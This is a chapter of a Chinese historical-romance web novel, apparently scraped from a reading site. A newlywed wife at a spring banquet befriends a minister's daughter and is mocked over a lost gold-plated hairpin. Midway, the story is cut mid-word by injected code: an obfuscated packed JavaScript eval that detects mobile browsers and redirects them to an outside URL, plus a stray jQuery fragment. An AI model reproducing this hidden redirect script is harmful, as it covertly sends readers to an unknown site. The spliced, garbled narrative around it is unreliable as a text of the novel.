默认冷灰
24号文字
方正启体

10.第 10 章

作者:一颗绿毛球本书字数:K更新时间:
    “夫人做过很多粗活?”


    程月圆闻言一静。


    乌润明亮的眸子蒙上了泪花,腰肢一转,泪盈盈扑到他怀里,“说来话长,都是我的伤心事。”


    “那不妨长话短说?”


    “我阿娘去得早,及笄前,我是养在乡下庄子的。庄头和管事婆子联手欺主,我要吃要喝都只得自己动手,野荠菜都不知挖过几多,手指头当然比不上娇养着的娘子柔弱无骨。”


    她嗅着闻时鸣身上的清苦药香,假装抽噎地嘀嘀咕咕:“夫君莫不是要因此而嫌弃我?”


    “夫人都不嫌弃我短命。”


    闻时鸣手掌敷衍地在她后脑勺拍了拍,“好,快些挪开,莫把鼻涕眼泪蹭脏了我的官袍。”


    她听罢,更用力在他肩膀上蹭,腰肢痒痒肉猝不及防被闻时鸣大掌一握,她虾米似地缩起来。


    “夫夫夫君!”


    “事不过三,”青年郎君的下颔抵在她颊边,语气风轻云淡,“投怀送抱的老招数不好使了。”


    “……”


    程月圆如败家犬灰,一点点挪开,捡起那花环,灰溜溜喊绮月,“给我换件衣裳,我找杳杳玩。”


    “不和我玩了?”


    “夫君一点都不好玩。”


    闻时鸣笑,女郎袅娜身影遁走,入了螺钿屏风。


    留春宴这日,晴光大好,惠风畅和。


    程月圆磨磨蹭蹭地梳了快一个时辰的妆,闻时鸣等得太久,正想叫平康去拿卷书来看两眼打发时间,珠玉帘微微一晃,走出个紫绮上襦,雪缎套雪缎裙的小娘子,香腮如雪酥莹白,傅粉施朱只着三分颜色,露出原本圆脸圆眼,一团稚气的娇憨模样。


    “今日这般素净?”


    “夫君说的呀,挨着清明,没人这么喜庆的。我原是按着旧日习惯画的,临时改了主意。莫非不好看?”


    闻时鸣看了两眼,又去看她发髻上硕大的金累丝芙蓉钗,还是很喜庆,还因为面上涂得格外少,显得像个偷偷打开阿娘珠宝匣子打扮自己的小女孩儿。


    他没答:“走吧。”


    程月圆正了正她镶紫玉的金项圈,又摸摸耳铛,落后几步跟着闻时鸣上了马车。


    平康把一个大食盒从驾车室外递进来。


    她以为是路上果腹解闷的糕点,开了一看,却是平日里的饭食菜蔬。


    “三少夫人,这是给郎君预备的。”


    “宴上不是有吃的吗?”


    程月圆把盖子合上,看向了闻时鸣的方向,青年靠着车壁闭目养神,“我一贯少吃外食。”


    “那如何一眼就认出来我的荷花酥是陶然居的?”


    她还有脸主动提这茬。


    闻时鸣一叹:“夫人莫不是忘了我衙门在哪里?”


    两人有一搭没一搭地聊着,马车猛地一滞,平康声音带着歉意:“郎君,没成想拐出坊门这么挤。”


    程月圆从车窗探头,朱轮华毂、宝马香车从各处汇入主街,都往城门方向去,她眼睛亮晶晶的,“夫君,留春宴一定有好多与我同辈的小娘子去赴宴吧?”


    闻时鸣嗯了一声,“有又如何?”


    她露出羞赧神色,手指搓搓腰间丝绦,“有的话,我就能结交一二,日后闲暇时同她们一起游乐。”


    “夫人真想结交一二?”


    “骗你做什么?”


    “那你周身的金饰,需减五分。”


    程月圆一愣。


    “门庭比平阳侯府高的,讲究底蕴气度,只会嫌弃过分外露的黄白物俗气,门庭比平阳侯府低的,若有心攀附,你不去结交,她们也会来亲近。”


    程月圆听罢,皱了一张脸,“金银不好么?有什么俗气不俗气的,我就喜欢金闪闪的东西,多好看。”她把发髻上小步摇的金流苏晃得细细响,“夫君说的这两种我都不想要,我要第三种。”


    青年郎君露出洗耳恭听的表情。


    “我想认识眼里没有门庭高低、雅俗好坏,就喜欢跟我一起玩乐消磨时光的女郎。人在少时结交到的第一个玩伴,不都是这样的吗?”


    闻时鸣眉心一舒,替她正了正那根芙蓉金钗。


    “那我祝夫人,得偿所愿。”


    便宜夫君的祝愿不仅不太灵验,还有反效果。


    程月圆才同他一分别,要去女眷处找更早些就出发了的长嫂慎慧月和婆婆冼氏,发髻被柳枝绊住了。


    宴会场地设在野外,到处悬着彩缦金铃,尤其是杨柳枝上,有风时便是春风拂绿,泠然有声之妙。


    然而,被金铃柳枝绊住了的她不太妙。


    发髻一扯动,就将她痛得龇牙咧嘴,偏生脑顶上又没生出第三只眼。程月圆四处张望,留春宴是官家举办的宴会,各家来都将仆役留在场外等候,绮月并不在她身边。她琢磨着用蛮力时,有人靠近她。


    “我就说这些金铃铛虽然好看,但是碍事呢,去年我阿兄的冠就被勾住了,今年竟还是这般布置。”


    声音柔婉的女郎在程月圆身后,她转不过头去,僵着一个姿势:“小娘子帮帮忙,快救救我。”


    “夫人莫急,这不就来。”


    她抠着金铃铛与发髻纠缠处的手被轻轻柔柔地拨开,女郎身上清幽淡雅的花香袭来,没一会儿,将她的发髻解救。程月圆头皮被拉扯的疼痛感消失,转过身去,对上一张清水出芙蓉的美人面。


    暮春辉光落在她面上,似暗室莹灯,浮起朦胧如雾的光晕,衬得绿柳波涛里的浮金都失色。


    好美的女郎。


    程月圆呆呆地看,忽而模模糊糊地明白了闻时鸣说的底蕴气度是何意,女郎周身珠玉只三两点缀,恰如一株空谷幽兰,多一分则繁,少一分则寡。


    女郎眸带笑意:“夫人瞧着脸生,不知是哪家的?发髻被勾得有些乱了,我带你去重新整理罢?”


    “好啊,有劳小娘子。”


    程月圆抬手摸到发丝乱飞的地方,心道岂止是乱,恐怕都不能看了,“我夫家是平阳侯府,夫君是……”她未说完,面前香风一拂。


    女郎将软烟罗披帛摘下,给她遮在发髻上,三两下就巧手,做了个类似帷帽的遮面。


    “原来是闻家的三少夫人。”


    “小娘子如何知道?”


    “闻家大少夫人与二少夫人我都见过,娘子脸生,定是闻三郎君的新婚夫人。”女郎盈盈一礼,“家父是刑部尚书,我是家中也行三,夫人可唤我严三娘。”


    程月圆将披帛撩起,“我,我可以直接唤三娘吗?”


    “当然。”


    “三娘三娘~我们去哪里梳妆?”


    “前头有个挂了绿绸的帐,少夫人瞧见了吗?”


    “看到了,三娘来过很多次留春宴吗?”


    两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553428|170121||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人一边说着话,一边朝绿帐走,严三娘请女使帮忙重新给程月圆整理,待理好了,程月圆对镜看,又去看放着梳子的梨木桌。


    “可是少了什么?”


    “有根金累丝芙蓉钗不见了。”她绕着绿帐各处低头看了一遍,比划道:“那么大的一朵芙蓉花,很显眼。”


    女使跟着慌张:“贵人来时,发髻上就没有这根簪子的,严三娘子也看见了。奴婢是万万不敢偷藏的。”


    “没说你,别许是发髻散乱,来时路上掉了,落在草上没声儿,我原路找找。”


    程月圆提裙就走,严三娘唤住她:


    “快开宴了,少夫人的金钗是亲友所赠的重要之物吗?若是寻常首饰,叫宫人帮忙找罢。”


    “意义不重要,银子可顶顶重要。三娘你先去赴宴吧,我找到了就去,我知道酒席位置在哪儿的。”


    程月圆一路折返,不消片刻,斜后方多了道娉婷身影。严三娘同她隔了约莫一臂的宽,“我找左边,闻少夫人找右边,莫急,就这么一段路,总能找到的。”


    她微愣,弯弯眼应道了声谢。


    可是没有。


    两人都回到了绊住她的绿柳处,还是没看到。


    程月圆不好意思耽搁她赴宴,同她匆匆赶回去,严三娘还安慰她:“或许是被哪个宫人捡走,遣人去找光禄寺和尚食局的宫人问问,大多数不敢私藏的。”


    “我晓得的。”程月圆点头,同她分别。


    留春宴的位置都是预先排好的,她同婆婆冼氏和长嫂挨着,严三娘在她对面落座,左右则是未出阁的同辈小娘子,放眼望去,俱是衣香鬓影,巧笑倩兮。


    程月圆好些人都不认得,规规矩矩当个闷葫芦。


    待上首位来了珠光宝气、雍容华贵的贵妃娘娘,她同贵妇人们来回寒暄了好一大通,才算是开宴。


    鼓乐笙箫声从远处起,席间说话渐渐活跃起来。


    程月圆闷头吃喝,没尝出菜色比丰登楼的好吃多少,每一碟子的量还少一些,中看不中饱。偶尔,她瞟一瞟严三娘的方向,看她拿了一块绣帕同左右女郎交流,似乎热烈地讨论绣花样式。


    她邻近都是嫂嫂这样当了娘的人,话题在小娃娃吃喝拉撒。程月圆插不上话,正闷着拿银箸把山药糕的四片花瓣分成八片,余光里,金色熠熠一闪。


    定睛一看,她的金累丝芙蓉钗就在席间。


    女郎们不知何时,开始交头接耳,一个个将金钗传来传去,似乎是在寻找失主。程月圆眼巴巴地等,好不容看到那金钗从对面传到了这边,再到婆婆冼氏手里。她手示意,“婆婆,婆婆。”


    冼氏一愣,脸色微妙:“这个金钗是你掉的?”


    “对呀,在入场处掉的,我还以为要弄丢了呢。”


    程月圆将芙蓉钗接过,没留意她手上凝滞,只是小心翼翼地拿帕子擦了擦上头的浮尘。


    蓦地,席间有人一声轻笑。


    “这金簪是我捡着的,原想哪个未出阁的小娘子,月例紧张,拿来撑撑场面,便拿去给她们认认,没想到啊……”话声尖细的女郎话音一转,“闻家这般门第,三少夫人居然这么紧张一根轻飘飘的……”


    女郎拿唇掩袖,仿佛不好意思说出口:“银钗。”


    程月圆恍若未闻,细细擦净了镀金芙蓉钗上最后一点浮尘,才抬眸朝说话的女郎看去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)